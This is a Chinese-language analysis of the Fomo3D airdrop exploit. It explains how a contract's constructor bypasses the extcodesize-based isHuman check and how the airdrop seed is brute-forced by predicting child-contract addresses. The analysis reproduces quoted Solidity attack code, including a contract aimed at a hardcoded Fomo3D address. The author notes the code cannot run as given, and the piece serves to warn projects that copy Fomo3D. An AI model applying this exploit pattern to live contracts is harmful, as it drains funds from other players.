Fomo3D是一个非常流行的,并且成为币圈现象级的资金盘游戏。据笔者所知,目前国内大部分资金盘游戏都是从Fomo3D的几个合约基础上进行的修改。然而,在7月23号,国外著名社区reddit上有人发现了Fomo3D的一处漏洞[1],攻击者可以利用一定的手段来绕过Fomo3D的防护,从而可以无限制命中空投来进行牟利。
本文主要分析这个攻击的具体原理,并提醒广大山寨Fomo3D的项目方,需要小心编写代码,以免上线即归零。
一切还得从Fomo3d的一个函数修改器说起:
这里使用了extcodesize
指令来获取某个以太坊地址的code字符串长度。我们都知道以太坊账户分为两种,一种是普通账户,一种是合约账户,合约账户的codesize必然是大于0的,而普通账户的则为0,因此通过这种方式来判断某个地址是否是合约地址。
这里使用了extcodesize
指令来获取某个以太坊地址的code字符串长度。我们都知道以太坊账户分为两种,一种是普通账户,一种是合约账户,合约账户的codesize必然是大于0的,而普通账户的则为0,因此通过这种方式来判断某个地址是否是合约地址。
因此这个isHuman
方法就是Fomo3D用来防止某些人用合约来玩这个游戏的,但是这个判断靠不靠谱呢?
自然是不靠谱的,我们看看extcodesize
源码实现:
func opExtCodeSize(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
a := stack.pop()
addr := common.BigToAddress(a)
a.SetInt64(int64(evm.StateDB.GetCodeSize(addr)))
stack.push(a)
return nil, nil
}
这里获取长度是从状态数据库中获取的,因此只有合约创建好之后这个判断才有效。
如果是某个合约的构造函数中执行请求Fomo3D,那么在构造函数执行过程中,合约还处于部署阶段,因此extcodesize执行的结果还是为0,从而就可以绕过这个判断。
我们再来看看执行空投逻辑的airdrop
函数:
可以看到,seed的计算严重依赖于以太坊区块的数据,比如timestamp, difficulty, coinbase, gasLimit, number等字段,这些都是交易中固定的。唯一的变量就是这里的msg.sender。但是对于合约账户来说,我们可以自己写个合约来动态创建合约,对seed进行枚举,如果发现符合条件的seed,就可以调用fomo3d的airdrop来获取空投,即百分之百的几率可以获取到空投。
由于普通账户不便于进行枚举,主要过程不好自动化,操作成本太大,所以这才有前面的isHuman
来对合约账户进行拦截。
正常来讲,Fomo3d的空投是按照充值ETH的数额来决定的,数额越大,获取空投的机会就越多,但是通过上面的攻击,我们可以以很小的数额来撸空投获利。
在参考链接[2]中,reddit上给出了具体的攻击代码(该代码不能直接成功执行攻击)。
入口函数是beginPwn
,这里首先调用了checkPwnData来获取出猜解命中空投条件的攻击成本、合约地址以及猜解次数。然后如果攻击成本大于收益,那么就执行deployContracts执行具体的攻击。
function beginPwn() public onlyAdmin() {
uint256 _pwnCost;
uint256 _nContracts;
address _newSender;
(_pwnCost, _nContracts,_newSender) = checkPwnData();
//check that the cost of executing the attack will make it worth it
if(_pwnCost + 0.1 ether < maxAmount) {
deployContracts(_nContracts,_newSender);
}
}
我们看一下checkPwnData的逻辑:
function checkPwnData() private returns(uint256,uint256,address) {
//The address that a contract deployed by this contract will have
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01)));
uint256 _nContracts = 0;
uint256 _pwnCost = 0;
uint256 _seed = 0;
uint256 _tracker = fomo3d.airDropTracker_();
bool _canWin = false;
while(!_canWin) {
/*
* How the seed if calculated in fomo3d.
* We input a new address each time until we get to a winning seed.
*/
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
(block.number)
)));
//Tally number of contract deployments that'll result in a win.
//We tally the cost of deploying blank contracts.
if((_seed - ((_seed / 1000) * 1000)) >= _tracker) {
_newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01)));
_nContracts++;
_pwnCost+= blankContractCost;
} else {
_canWin = true;
//Add the cost of deploying a contract that will result in the winning of an airdrop
_pwnCost += pwnContractCost;
}
}
return (_pwnCost,_nContracts,_newSender);
}
这里需要了解合约中创建子合约时,子合约的地址生成机制,这些子合约的地址都是根据母合约的地址衍生出来的,公式如下:
new_address = address(keccak256(0xd6, 0x94, address, nonce))
new_address2 = address(keccak256(0xd6, 0x94, address, nonce++))
这里的nonce第一次为0x01,之后每次创建一次子合约就会递增。
当枚举出符合条件的seed之后,就返回枚举的次数以及命中的地址和攻击的花销,因为部署合约和跨合约调用是需要消耗gas的,因此要看攻击本身是否是划算的。
最后调用deployContracts执行攻击:
function deployContracts(uint256 _nContracts,address _newSender) private {
for(uint256 _i; _i < _nContracts; _i++) {
if(_i++ == _nContracts) {
address(_newSender).call.value(0.1 ether)();
new AirDropWinner();
}
new BlankContract();
}
}
这里的new BlankContract()是用来使得nonce递增的,然后满足了递增次数之后就创建AirDropWinner执行攻击:
contract AirDropWinner {
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
constructor() public {
if(!address(fomo3d).call.value(0.1 ether)()) {
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
}
可以看到这里在构造函数中对fomo3D发起了转账操作,从而绕过了isHuman判断,完成了攻击。
具体的攻击交易:
需要注意的是,当空投池大于一定数值的时候才有利可图。这是因为发起一次交易本身需要gas也很昂贵,如果玩游戏的人越多,那么就越有利可图。
[1] https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide
[2] https://www.reddit.com/r/ethdev/comments/91fpqd/fomo_3d_exploit_improved_clearly_explained